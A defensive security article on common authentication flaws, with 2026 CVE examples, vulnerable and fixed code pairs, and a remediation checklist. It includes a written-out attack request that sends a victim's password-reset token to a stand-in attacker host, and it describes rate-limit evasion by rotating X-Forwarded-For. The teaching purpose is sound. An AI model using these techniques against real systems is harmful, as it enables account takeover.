Authentication Vulnerabilities: The Most Common Web Login Mistakes
#The Login Page Is Still the Weakest Door#link
In September 2026, CloudSEK researchers published their analysis of BigBear 2.0, a phishing-as-a-service operation built on the Evilginx2 adversary-in-the-middle framework. The service bypassed multifactor authentication at 258 organizations by stealing authenticated Microsoft 365 session cookies. Its administrative panel contained 4,148 stolen session cookies, 1,032 plaintext passwords, and 474 completed MFA-bypassed authentications across 461 targeted organizations in more than 40 countries. The service also used custom JavaScript to disable FIDO2/WebAuthn functionality on its phishing pages, forcing victims toward authentication methods that can be intercepted through the proxy. BigBear did not crack MFA. It let the victim complete MFA normally, captured the session cookie that Microsoft issued afterward, and replayed it. The organization's MFA was working perfectly. The session that followed it was not protected.
TL;DR: Authentication failures rank seventh in the OWASP Top 10, and the mistakes that produce them are not exotic. Real CVEs from 2026 show the same six patterns repeating across different stacks: rate limiting that can be bypassed with a header or a User-Agent string, MFA that is enforced on one code path but skipped on another, session cookies that survive logout or lack the Secure flag, password reset flows that leak tokens to attacker-controlled URLs, login endpoints that reveal whether a username exists, and password hashing configured with work factors too low to matter. This post walks each pattern with the specific CVEs, the structural reason it happens, and the remediation checklist that closes the gap between believing a control is active and verifying it.
The Scale of the Problem
Three independent threat intelligence teams reached the same conclusion in 2026: the credential is the target, and the login page is the entry point. Verizon's Data Breach Investigations Report found that stolen credentials were the top initial access vector in 22 percent of breaches, and that 88 percent of attacks against basic web applications involved stolen credentials. IBM's X-Force Threat Intelligence Index reported that credential harvesting overtook all other outcomes as the number one observed impact on victim organizations. CrowdStrike's Global Threat Report documented that 82 percent of detections in 2025 involved no malware at all, meaning adversaries are logging in with valid credentials, not breaking in with exploits.
- ▪Approximately 26 billion credential stuffing login attempts occur per month globally, according to Akamai's Securing Apps Report.
- ▪Credential stuffing accounts for a median 19 percent of all authentication attempts on a typical service -- roughly one in five login attempts is an attacker trying stolen credentials.
- ▪Verizon recorded 2.8 billion passwords posted on criminal forums in 2024 alone, and only three percent of those met basic complexity requirements.
- ▪Brute force attacks against web applications tripled year-over-year, from roughly 20 percent to 60 percent of web app attack patterns.
- ▪Cisco Talos Incident Response found that authentication abuse appeared in 65 percent of the engagements it handled in Q2 2026, up from 35 percent the previous quarter.
Mistake 1: Rate Limiting That Can Be Bypassed With a Header
Rate limiting is the first line of defense against credential stuffing and brute force. When it works, it slows an attacker to a few attempts per minute and generates log entries that a monitoring system can alert on. When it does not work, it provides the appearance of protection while allowing unlimited password guessing. The most common bypass in 2026 is not a sophisticated attack. It is a single HTTP header that the application trusts without verification.
CVE-2026-55501 in the 9router dashboard is the template. The login rate limiter derived the client identity from the X-Forwarded-For header, which is entirely attacker-controlled. When 9router was directly exposed, or deployed behind a reverse proxy that did not overwrite untrusted forwarding headers, a remote attacker could rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time. The five-attempt threshold and progressive lockout durations were rendered ineffective. The vulnerable code accepted the header directly: the getClientIp function split the X-Forwarded-For value on a comma and returned the first entry without checking whether the request came from a trusted proxy.
// VULNERABLE: trusts X-Forwarded-For from any clientfunction getClientIp(request) {const xff = request.headers.get("x-forwarded-for");if (xff) return xff.split(",")[0].trim();return request.headers.get("x-real-ip") || "unknown";}// FIXED: only trust X-Forwarded-For when the request arrives from a trusted proxyfunction getClientIp(request, trustedProxies) {const remoteAddr = request.socket.remoteAddress;if (!trustedProxies.includes(remoteAddr)) {return remoteAddr; // ignore X-Forwarded-For entirely}const xff = request.headers.get("x-forwarded-for");if (xff) return xff.split(",")[0].trim();return remoteAddr;}
Live JavaScript preview
CVE-2026-86186 in AVideo is a variant of the same failure mode. The API failed to enforce rate limits when clients sent a bot User-Agent header, allowing attackers to bypass all eight protected operations, including login brute-force protection. The application logic contained a conditional exemption based on the User-Agent string. An attacker could send requests with a bot User-Agent, disable rate limiting entirely, and perform unlimited password guessing attempts against any account from a single IP address. The same pattern appears in a WebSocket rate-limiting bypass disclosed in May 2026, where HTTP rate limiting worked correctly but the WebSocket path accepted unlimited password guesses at roughly 20 attempts per second.
Rate limiting that derives the client identity from any request header is not rate limiting. X-Forwarded-For, X-Real-IP, X-Forwarded-Host, and User-Agent are all attacker-controlled. The only identity that cannot be spoofed at the application layer is the source IP of the TCP connection, and even that must be read from the correct layer of the network stack. If the application runs behind a reverse proxy, the proxy must strip untrusted forwarding headers before passing the request through.
Mistake 2: MFA That Is Enforced on One Path and Skipped on Another
MFA is not a single control. It is a set of code paths, and an attacker only needs one path that does not enforce it. The 2026 CVE record is full of MFA bypasses that exist not because the MFA implementation is broken but because a second code path was added without the MFA check. CVE-2026-9091 in Casdoor is the clearest example: a logic flaw in the social-login binding flow allowed users to bypass configured MFA requirements. The binding-rule code path called HandleLoggedIn directly without invoking checkMfaEnable. Any user authenticating through that path was logged in without MFA enforcement. The MFA was working. The social-login path simply never asked it to run.
CVE-2026-15616 in Logto is a related pattern. Logto's authentication process did not enforce locally configured MFA when a user signed in via SSO. MFA was bypassed when hasVerifiedSsoIdentity was true. An attacker with a federated identity from a permissive upstream IdP could bypass the local MFA requirement by signing in through SSO. The organization had configured MFA. The SSO path skipped it.
CVE-2026-73313 in XenForo is a different variant that exploits the verification logic itself. The passkey TFA provider performed a global credential lookup without validating that the matched credential belonged to the user whose login was pending. An attacker who knew a target account's password could sign the challenge with their own passkey and bypass MFA on both public forum and ACP login paths. The passkey verification succeeded, but it succeeded against the wrong user's credential.
# VULNERABLE: MFA check is guarded by a condition that can be falseif not has_verified_sso_identity:if not check_mfa_enabled(user):return login_error("MFA required")# If has_verified_sso_identity is True, the MFA check never runs.# FIXED: MFA runs unless the path is explicitly exempted in a reviewed allowlistMFA_EXEMPT_PATHS = {"/api/auth/login/recovery"} # reviewed and documentedif request.path not in MFA_EXEMPT_PATHS:if not verify_mfa(user, request):return login_error("MFA required")
The structural fix for MFA bypass is the same as the fix for authorization bypass: invert the default. MFA should run on every authentication path by default, with explicit, reviewed exemptions for the small number of paths that genuinely cannot enforce it. If a code path does not call the MFA check, that is a bug, not a design decision.
Mistake 3: Session Management Left to Framework Defaults
Session management is where authentication failures become persistent. A login that is correctly authenticated but issues a session that survives logout, lacks the Secure flag, or can be fixed by an attacker before authentication is a login that can be replayed. The 2026 CVEs in this category are not exotic exploits. They are default configurations that were never changed.
| CVE | Product | Session Flaw |
|---|---|---|
| CVE-2026-43828 | Apache Shiro | JSESSIONID and rememberMe cookies sent over HTTPS without the Secure attribute in default configuration |
| CVE-2026-40082 | Cacti | session_regenerate_id() not called after successful login, enabling session fixation |
| CVE-2026-40010 | Apache Wicket | Missing changeSessionId after session binding, enabling session fixation |
| CVE-2026-85238 | MISP | Session identifier not rotated when authentication occurs in the CustomAuth flow |
| CVE-2026-56774 | Unspecified | removeSession fails to validate session ID, allowing mass invalidation of any user session |
| GHSA-R3XH-3R3W-47GP | FrankenPHP | $_SESSION superglobal not reset between requests in worker mode, leaking session data across users |
The Apache Shiro vulnerability is the most broadly impactful because it affects the default configuration of a widely used Java security framework. Versions 1.0 through 2.1.0 and 3.0.0-alpha-1 send JSESSIONID and rememberMe cookies without the Secure attribute by default. The Secure attribute instructs the browser to only transmit the cookie over HTTPS. Without it, the cookie can be sent over plaintext HTTP if the application is accessed through multiple protocols or if there is a misconfiguration in the web server layer. An attacker who can intercept network traffic can capture the session cookie and impersonate the user. The flaw operates at the default configuration level, meaning that virtually all installations using affected versions are exposed without any explicit action from administrators.
Cacti's session fixation flaw is the inverse: the cookie configuration was correct (httponly=true, samesite=Strict, secure=true), but the login flow directly set $_SESSION[SESS_USER_ID] without calling session_regenerate_id(). An attacker could establish a session on the application, record the session identifier, trick a victim into authenticating with that same identifier, and then use the now-authenticated session. The secure cookie attributes do not prevent session fixation through same-site vectors, because the attack does not require the cookie to be transmitted insecurely. It requires the session identifier to remain the same before and after authentication.
Mistake 4: Password Reset as an Account Takeover Vector
Password reset flows exist to restore access. In 2026, they are a primary account takeover vector because they bypass every other authentication control. An attacker who can influence the reset flow does not need a password, an MFA token, or a session cookie. They need a victim who clicks a link. CVE-2026-55207 in Pimcore is the cleanest example of the attack pattern. An unauthenticated attacker who knew a valid admin username could take over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl parameter. The server generated a real cryptographic recovery token, appended it to the supplied URL, and emailed the link to the victim. When the victim clicked the link, the token was sent to the attacker and could be used with the login endpoint to authenticate with full admin privileges while bypassing two-factor authentication.
# The attack: attacker supplies their own reset URLPOST /api/password-reset HTTP/1.1Host: pimcore.example.comContent-Type: application/json{"username": "admin", "resetPasswordUrl": "https://attacker.example/reset"}# Server response: 200 OK# The server generates a valid recovery token, appends it to the supplied URL,# and emails https://attacker.example/reset?token=eyJhbGci... to the victim.# When the victim clicks the link, the token is sent to the attacker's server.# The attacker then POSTs the token to /pimcore-studio/api/login/token and authenticates as admin.
CVE-2026-18147 in FreeIPA is a different reset flaw: a DOM-based cross-site scripting vulnerability in the password reset page. An unauthenticated remote attacker could entice a victim to click a specially crafted link and complete a password reset. The attacker could inject and execute arbitrary JavaScript within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator was targeted. The password reset page failed to validate or encode user-supplied input before rendering it in the browser's Document Object Model. CVE-2026-24467 in OpenAEV combines multiple weaknesses in the password reset implementation to achieve reliable account takeover. The pattern across all three is the same: the reset flow was treated as a convenience feature rather than a security-critical path, and it bypassed the controls that would have stopped the same attack through the login page.
Password reset flows must never accept a client-supplied redirect URL without validation. The reset token is a bearer credential for account takeover. If the token is sent to an attacker-controlled URL, the attacker has the account. Validate the reset URL against an allowlist of known application origins, and never append a real token to a URL that the client controls.
Mistake 5: Username Enumeration and Timing Leaks
Username enumeration is the reconnaissance phase of credential stuffing. An attacker who can determine which usernames exist can focus their password guessing on valid accounts, avoiding the wasted attempts that trigger rate limits and generate noise. The CVE record in 2026 includes multiple enumeration flaws, all of which stem from the same root cause: the application returns a different response, or takes a different amount of time, depending on whether the username exists.
CVE-2026-78551 in RansomLook allowed an unauthenticated remote attacker to enumerate valid usernames through timing discrepancies and perform unrestricted password-guessing attacks. CVE-2026-25138 in Rucio WebUI returned distinct error messages depending on whether a supplied username existed. CVE-2026-72699 in the Grav Login plugin threw a distinct EMAIL_NOT_AVAILABLE exception when a submitted email address was already registered, allowing enumeration through the registration form. CVE-2026-48166 in an unspecified product had an observable timing discrepancy on the login page that allowed unauthenticated attackers to enumerate registered email addresses.
# VULNERABLE: distinct responses reveal whether the user exists@app.post("/login")async def login(username: str, password: str):user = db.find_user(username)if not user:return JSONResponse({"error": "User not found"}, status_code=401)if not verify_password(user, password):return JSONResponse({"error": "Incorrect password"}, status_code=401)return create_session(user)# FIXED: constant-time response, same message, same statusimport secretsDUMMY_HASH = generate_dummy_bcrypt_hash()@app.post("/login")async def login(username: str, password: str):user = db.find_user(username)hash_to_check = user.password_hash if user else DUMMY_HASHpassword_ok = verify_password(hash_to_check, password)if user is None or not password_ok:# Add artificial delay to normalize timing across branchesawait asyncio.sleep(secrets.randbelow(50) / 1000)return JSONResponse({"error": "Invalid credentials"}, status_code=401)return create_session(user)
The fix is not to hide the error message. The fix is to make the response identical whether the user exists or not: same status code, same message, same response time, and same session behavior. The dummy hash comparison ensures that the password verification step runs even when the user does not exist, so the timing does not leak the difference between a missing user and a wrong password. The artificial delay masks any residual timing variation from database lookup or hash verification.
Mistake 6: Password Hashing With Work Factors Too Low to Matter
Password hashing is the control that protects credentials if the database is breached. It is also the control most likely to be configured with defaults that were acceptable a decade ago and are not acceptable now. CVE-2026-56272 in Flowise is the clearest 2026 example. Flowise before version 3.0.13 used bcrypt with default salt rounds of 5, providing only 32 iterations instead of the OWASP-recommended minimum of 10 rounds. An attacker with modern GPU hardware could crack password hashes approximately 30 times faster than with a properly configured hash. In a database breach scenario, this difference is the difference between the attacker spending years cracking passwords and spending days. The fix is to increase the cost factor, but the fix has to be applied to every application that uses the affected library, and it has to be applied before the breach happens, not after.
# VULNERABLE: bcrypt with rounds=5import bcrypthashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=5))# FIXED: bcrypt with rounds=12 (OWASP recommends 10+; 12 is a 2026-appropriate default)hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))# For new applications, consider Argon2id, which is memory-hard and# resistant to GPU-accelerated cracking in a way bcrypt is not.from argon2 import PasswordHasherph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)hashed = ph.hash(password)
CVE-2026-33306 in bcrypt-ruby is a more subtle failure: an integer overflow in the Java BCrypt implementation for JRuby caused zero iterations in the key-strengthening loop when the cost was set to 31. The resulting hash looked valid and verified correctly via checkpw, making the weakness invisible to the application. The hash was produced with no key-strengthening at all, so an attacker cracking it faced the computational cost of a single hash iteration rather than the intended 2^31. This is the danger of password hashing libraries: a bug in the library produces a hash that appears correct and passes functional tests but provides none of the security the application believes it has.
The Identity Provider Is Not a Silver Bullet
A recurring theme in the 2026 authentication CVE record is that identity providers and authentication frameworks -- the components teams adopt specifically to avoid making these mistakes -- have authentication vulnerabilities of their own. Logto, Casdoor, ash_authentication, and Rodauth all had critical authentication bypasses in 2026. CVE-2026-49757 in ash_authentication allowed account takeover of local users via OAuth2/OIDC sign-in through an authentication bypass by spoofing. CVE-2026-82466 in Rodauth allowed logged-in users to authenticate as any other account by submitting their own registered passkey during the WebAuthn assertion step. CVE-2026-15611 in Logto allowed unverified email-based SSO account linking: an attacker who registered the victim's email at a permissive upstream IdP could take over the victim's existing account on first login. CVE-2026-9090 in Casdoor allowed an attacker to bypass authentication by supplying an arbitrary signing certificate in the SAML response.
The lesson is not that identity providers are bad. It is that adopting an identity provider moves the authentication failure surface from your code to the provider's code. The provider's code is likely to be better tested and more frequently patched than hand-rolled authentication, but it is not immune to the same classes of flaws. CVE-2026-82466 in Rodauth and CVE-2026-15611 in Logto are both the same mistake pattern that appears in hand-rolled code: a verification path that resolves the wrong identity, or skips a check when a condition is absent. The difference is that when the flaw is in the identity provider, it affects every application that trusts that provider.
CVE-2026-15612 in Logto is a particularly instructive example of a validation check that exists but does not run. Logto stores a nonce in the connector session at authorization request time and expects the returned id_token to echo it back. The validation check is guarded by if (data.nonce), so when an id_token omits the nonce claim entirely, the check is skipped, even when nonceFromSession is set. The code was written to validate the nonce. The condition under which it validates is exactly the condition an attacker can avoid by omitting the claim. This is the same class of failure as the Fastify false-schema bypass and the Ocelot WebSocket IP restriction bypass: a control that is skipped on the code path an attacker chooses.
What to Fix Before the Next Breach
- Verify that rate limiting actually limits. Send 20 failed login attempts from the same source and confirm the 429 response appears. Then rotate the X-Forwarded-For header and confirm the rate limit still applies. If rotating the header gives a fresh bucket, the rate limiter is keyed on an attacker-controlled value.
- Make MFA enforcement unconditional on every authentication path. Search the codebase for every function that creates a session or issues a token. For each one, confirm that it calls the MFA verification function or is on an explicit, reviewed allowlist. The Casdoor and Logto bypasses exist because one path called HandleLoggedIn without checkMfaEnable.
- Rotate the session identifier after every authentication event. The Cacti, Wicket, and MISP session fixation flaws all exist because the session ID was not regenerated after login. Confirm that session_regenerate_id() or its framework equivalent is called immediately after successful credential verification.
- Set the Secure, HttpOnly, and SameSite attributes on every session cookie. The Apache Shiro vulnerability is a default configuration that omits Secure. Check your framework's cookie defaults and override them explicitly. Do not assume the framework sets Secure by default, because many do not.
- Validate password reset redirect URLs against an allowlist. The Pimcore account takeover works because the client supplies the URL the reset token is appended to. The server must never append a real recovery token to a URL the client controls. Use a fixed reset path on the application's own domain.
- Eliminate username enumeration by normalizing responses. Return the same error message, status code, and response time whether the username exists or not. Run a dummy password hash against a constant dummy value when the user does not exist, so the timing of the verification step is identical.
- Audit password hashing cost factors. bcrypt with rounds below 10 is too fast. Argon2id with time_cost below 2 or memory_cost below 65536 is too weak for 2026 hardware. Measure the hash time on your production hardware and confirm it is slow enough to make offline cracking expensive.
- Inventory every authentication path, including SSO, social login, password reset, account recovery, and API token issuance. The Logto, Casdoor, and ash_authentication bypasses all existed because a secondary authentication path was added without the controls that the primary path enforced. A login page is not the only way into an account.
- Monitor for authentication anomalies, not just authentication failures. A successful login from a new country, a session cookie used from two IPs, a password reset followed immediately by a login from a different device -- these are the signals that MFA bypass and session theft produce. Log them and alert on them.
The authentication vulnerabilities of 2026 are not failures of cryptography. They are failures of verification. A rate limiter trusts a header it should not trust. An MFA check is skipped on one code path. A session ID survives authentication. A reset token is sent to a URL the client controls. A nonce validation is guarded by a condition the attacker can avoid. In every case, the developer believed a control was active. The control was not. The remediation is not to add more controls. It is to verify that the controls already in place actually run on the path the attacker takes.